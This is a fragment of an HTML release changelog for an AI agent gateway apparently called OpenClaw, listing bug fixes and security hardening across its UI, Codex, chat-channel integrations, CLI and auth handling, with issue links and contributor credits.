<li>Control UI: distinguish inherited thinking-off settings from explicit Off selections so the thinking selector no longer shows two identical Off rows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499864598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85223" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85223/hovercard" href="https://github.com/openclaw/openclaw/pull/85223">#85223</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Agents/Pi: keep embedded session transcript writes from tripping false takeover detection after packaged npm onboarding agent turns.</li>
<li>Codex/TUI: surface Codex-native post-turn compaction failures instead of continuing uncompacted, and keep successful native compaction serialized before local idle/next-turn handling. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4480907550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84305" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84305/hovercard" href="https://github.com/openclaw/openclaw/issues/84305">#84305</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499073217" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85160" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85160/hovercard" href="https://github.com/openclaw/openclaw/pull/85160">#85160</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Memory/search: stop recall tracking from writing dreaming side-effect artifacts when <code>dreaming.enabled=false</code>, while preserving normal search results. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483132130" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84436" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84436/hovercard" href="https://github.com/openclaw/openclaw/issues/84436">#84436</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483302640" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84444" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84444/hovercard" href="https://github.com/openclaw/openclaw/pull/84444">#84444</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Diffs: render viewer toolbar icons from a closed icon-name map instead of HTML strings, removing the toolbar icon XSS sink. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474146520" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83955" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83955/hovercard" href="https://github.com/openclaw/openclaw/pull/83955">#83955</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tanshanshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tanshanshan">@tanshanshan</a>.</li>
<li>QA: keep <code>pnpm qa:e2e</code> self-check runs inside the private QA runtime envelope even when inherited shell env disables bundled plugins.</li>
<li>fix(config): validate browser sandbox bind sources [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491649611" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84799" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84799/hovercard" href="https://github.com/openclaw/openclaw/pull/84799">#84799</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>doctor: constrain legacy plugin cleanup paths [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491667697" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84801" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84801/hovercard" href="https://github.com/openclaw/openclaw/pull/84801">#84801</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Update/doctor: prune stale local bundled plugin install records that point at old compiled bundled output so current bundled plugin schemas win after upgrade. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492494073" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84863" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84863/hovercard" href="https://github.com/openclaw/openclaw/pull/84863">#84863</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Providers/Ollama: preserve native Ollama tool-call IDs across assistant replay so Gemini over Ollama Cloud can keep its hidden function-call thought-signature handle.</li>
<li>Discord: keep session recovery and <code>/stop</code> abort ownership on the source dispatch lane while bound ACP turns continue routing to their target session, so stalled pre-run work and late replies are cleared instead of leaking after stop. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483895207" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84477" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84477/hovercard" href="https://github.com/openclaw/openclaw/issues/84477">#84477</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497982606" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85100" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85100/hovercard" href="https://github.com/openclaw/openclaw/pull/85100">#85100</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Codex app-server: mark missing turn completion after observed execution as replay-unsafe and release the session so follow-up turns can run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476289375" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84076" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84076/hovercard" href="https://github.com/openclaw/openclaw/issues/84076">#84076</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498078569" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85107" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85107/hovercard" href="https://github.com/openclaw/openclaw/pull/85107">#85107</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Codex app-server: give visible <code>message</code> dynamic tool sends a longer timeout budget so slow channel delivery can return its own result or error instead of hitting the 30-second Codex wrapper. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499812848" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85216" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85216/hovercard" href="https://github.com/openclaw/openclaw/pull/85216">#85216</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Codex app-server: add a dedicated post-tool raw assistant completion idle timeout config so trusted heavy turns can wait longer after tool handoff without weakening final assistant release.</li>
<li>Matrix: keep explicitly configured two-person rooms on the room route before stale <code>m.direct</code> or strict two-member DM fallback can bypass mention gating. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496136567" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85017" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85017/hovercard" href="https://github.com/openclaw/openclaw/issues/85017">#85017</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498803495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85137" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85137/hovercard" href="https://github.com/openclaw/openclaw/pull/85137">#85137</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Agents/subagents: require explicit subagent allowlist targets to be configured agents so stale deleted-agent ids are omitted from <code>agents_list</code> and rejected by <code>sessions_spawn</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491844371" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84811" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84811/hovercard" href="https://github.com/openclaw/openclaw/issues/84811">#84811</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499010254" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85154" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85154/hovercard" href="https://github.com/openclaw/openclaw/pull/85154">#85154</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>PDF tool: time out idle remote PDF body reads after 120 seconds so stalled remote documents return an error instead of wedging the session. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4288676163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68649" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68649/hovercard" href="https://github.com/openclaw/openclaw/issues/68649">#68649</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491207985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84768" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84768/hovercard" href="https://github.com/openclaw/openclaw/pull/84768">#84768</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</li>
<li>Diagnostics/OpenTelemetry plugin: suppress handled OTLP exporter promise rejections so collector shutdowns no longer crash the Gateway. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4430729094" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81085" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81085/hovercard" href="https://github.com/openclaw/openclaw/pull/81085">#81085</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</li>
<li>Agents/exec: omit raw command text and env values from denied exec failure logs while keeping safe correlation metadata. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496830927" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85049" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85049/hovercard" href="https://github.com/openclaw/openclaw/issues/85049">#85049</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498838754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85140" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85140/hovercard" href="https://github.com/openclaw/openclaw/pull/85140">#85140</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Media/audio: skip empty structured sherpa-onnx transcripts instead of treating the raw JSON payload as spoken text. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488983460" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84667" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84667/hovercard" href="https://github.com/openclaw/openclaw/pull/84667">#84667</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Agents/exec: preserve inherited XDG base-directory environment values for subprocesses while still rejecting agent-supplied XDG overrides. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492278181" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84854" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84854/hovercard" href="https://github.com/openclaw/openclaw/issues/84854">#84854</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498820649" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85139" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85139/hovercard" href="https://github.com/openclaw/openclaw/pull/85139">#85139</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Node/Linux: keep <code>OPENCLAW_GATEWAY_TOKEN</code> out of generated systemd unit files by writing node service token values to a node-specific env file. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482764578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84408/hovercard" href="https://github.com/openclaw/openclaw/pull/84408">#84408</a>)</li>
<li>Memory-core/dreaming: reuse stable narrative subagent session keys per workspace and phase while keeping per-run idempotency and bounded cleanup, so stale <code>dreaming-narrative-*</code> sessions do not accumulate. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4284837574" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68252" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68252/hovercard" href="https://github.com/openclaw/openclaw/issues/68252">#68252</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4293065762" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69187" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69187/hovercard" href="https://github.com/openclaw/openclaw/issues/69187">#69187</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4312560097" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70402" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70402/hovercard" href="https://github.com/openclaw/openclaw/issues/70402">#70402</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313300565" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70464" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70464/hovercard" href="https://github.com/openclaw/openclaw/pull/70464">#70464</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chiyouYCH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chiyouYCH">@chiyouYCH</a>.</li>
<li>Trajectory/support: tolerate partial skill snapshot entries when building support metadata so rejected skill path scans no longer abort trajectory capture. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4324624469" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71185" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71185/hovercard" href="https://github.com/openclaw/openclaw/pull/71185">#71185</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lukeboyett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lukeboyett">@lukeboyett</a>.</li>
<li>TUI: coalesce repeated idle Esc abort notices into a single <code>no active run xN</code> system row instead of appending duplicate rows.</li>
<li>Telegram: honor <code>channels.telegram.pollingStallThresholdMs</code> in the default isolated polling path, restarting silent workers instead of leaving inbound updates wedged. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474114528" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83950" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83950/hovercard" href="https://github.com/openclaw/openclaw/issues/83950">#83950</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492438443" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84861" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84861/hovercard" href="https://github.com/openclaw/openclaw/pull/84861">#84861</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Telegram: dedupe replayed message dispatches by Telegram chat/message identity so isolated-ingress replays do not trigger duplicate model dispatches. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493044796" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84886" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84886/hovercard" href="https://github.com/openclaw/openclaw/issues/84886">#84886</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499730658" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85208" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85208/hovercard" href="https://github.com/openclaw/openclaw/pull/85208">#85208</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Slack: suppress reasoning payloads before reply delivery and dispatch accounting, so Slack monitor, slash-command, fallback, and direct reply paths do not leak model reasoning. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481035938" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84319" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84319/hovercard" href="https://github.com/openclaw/openclaw/issues/84319">#84319</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481083191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84322" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84322/hovercard" href="https://github.com/openclaw/openclaw/pull/84322">#84322</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ffluk3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ffluk3">@ffluk3</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Slack: deliver native plugin approval prompts and updates when Slack native approvals are enabled, while keeping plugin approval authorization separate from exec approvers.</li>
<li>Slack: keep native plugin approval prompts in the originating app conversation thread when the live Slack turn source is a <code>D...</code> conversation.</li>
<li>Agents/Pi: disable the embedded pi-coding-agent runtime auto-retry so OpenClaw's own retry and failover loop does not replay failed tool calls through a nested SDK retry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345792398" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73781" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73781/hovercard" href="https://github.com/openclaw/openclaw/issues/73781">#73781</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351648711" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74434" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74434/hovercard" href="https://github.com/openclaw/openclaw/pull/74434">#74434</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yelog/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yelog">@yelog</a>.</li>
<li>CLI/perf: keep <code>setup --help</code>, <code>onboard --help</code>, and <code>configure --help</code> out of the full wizard runtime while preserving the existing help output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484116150" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84488" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84488/hovercard" href="https://github.com/openclaw/openclaw/pull/84488">#84488</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>CLI/perf: keep <code>agents --help</code> out of agents action/runtime imports so help, completion, and command discovery paths avoid loading the full agents runtime. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484034054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84483/hovercard" href="https://github.com/openclaw/openclaw/pull/84483">#84483</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>CLI/perf: keep <code>secrets --help</code> and <code>nodes --help</code> on the precomputed help path so parent help avoids loading action-heavy command runtime modules. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491951847" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84818" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84818/hovercard" href="https://github.com/openclaw/openclaw/pull/84818">#84818</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>CLI/perf: serve <code>doctor</code>, <code>gateway</code>, <code>models</code>, and <code>plugins</code> parent help from startup metadata so common subcommand help avoids full CLI program construction. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491522584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84786" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84786/hovercard" href="https://github.com/openclaw/openclaw/pull/84786">#84786</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>Codex/Lossless: keep context-engine history on the canonical run session when Telegram DMs use per-peer runtime policy keys. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494202248" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84936" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84936/hovercard" href="https://github.com/openclaw/openclaw/issues/84936">#84936</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494744767" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84954" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84954/hovercard" href="https://github.com/openclaw/openclaw/pull/84954">#84954</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Codex: keep heartbeat response tool schemas durable without exposing dynamic tools disabled by turn policy, so heartbeat wakeups can reuse threads while scoped tool allowlists stay enforced. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4489377860" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84681" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84681/hovercard" href="https://github.com/openclaw/openclaw/pull/84681">#84681</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jalehman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jalehman">@jalehman</a>.</li>
<li>Auth/OAuth: skip the refresh adapter when a stored OAuth credential has no refresh token so agent turns fail fast on missing-key instead of waiting on the 120s refresh timeout. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Auth/Codex: load legacy OAuth sidecar credentials in the embedded runner's secrets-runtime auth loaders so Telegram replies, cron-triggered turns, and other isolated sub-agent lanes can reach the existing <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465275872" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83312" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83312/hovercard" href="https://github.com/openclaw/openclaw/pull/83312">#83312</a> refresh-and-rewrite migration instead of failing with <code>No API key found for provider "openai-codex"</code> until the user runs <code>openclaw doctor</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Totalsolutionsync/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Totalsolutionsync">@Totalsolutionsync</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Codex/failover: classify <code>deactivated_workspace</code> as a permanent auth failure so configured fallback models can advance when a Codex workspace is deactivated. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4154052542" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55893" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/55893/hovercard" href="https://github.com/openclaw/openclaw/pull/55893">#55893</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/litang9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/litang9">@litang9</a>.</li>
<li>Exec: keep configured <code>tools.exec.pathPrepend</code> entries ahead of user shell startup PATH changes on POSIX gateway runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4437943475" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81403" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81403/hovercard" href="https://github.com/openclaw/openclaw/pull/81403">#81403</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/medns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/medns">@medns</a>.</li>
<li>Gateway/sessions: allow shared-secret bearer callers to read and stream session history without an explicit scope header. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4446205215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81815" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81815/hovercard" href="https://github.com/openclaw/openclaw/pull/81815">#81815</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/medns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/medns">@medns</a>.</li>
<li>Agents/embedded runner: classify HTML auth provider responses as <code>auth_html</code> and return a re-authentication hint instead of the CDN-blocked copy that <code>upstream_html</code> returns. Cloudflare Access login pages, nginx basic-auth challenges, and gateway login walls all produce HTML auth bodies that were previously misdiagnosed as transient CDN blocks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4413285415" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79900" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79900/hovercard" href="https://github.com/openclaw/openclaw/pull/79900">#79900</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
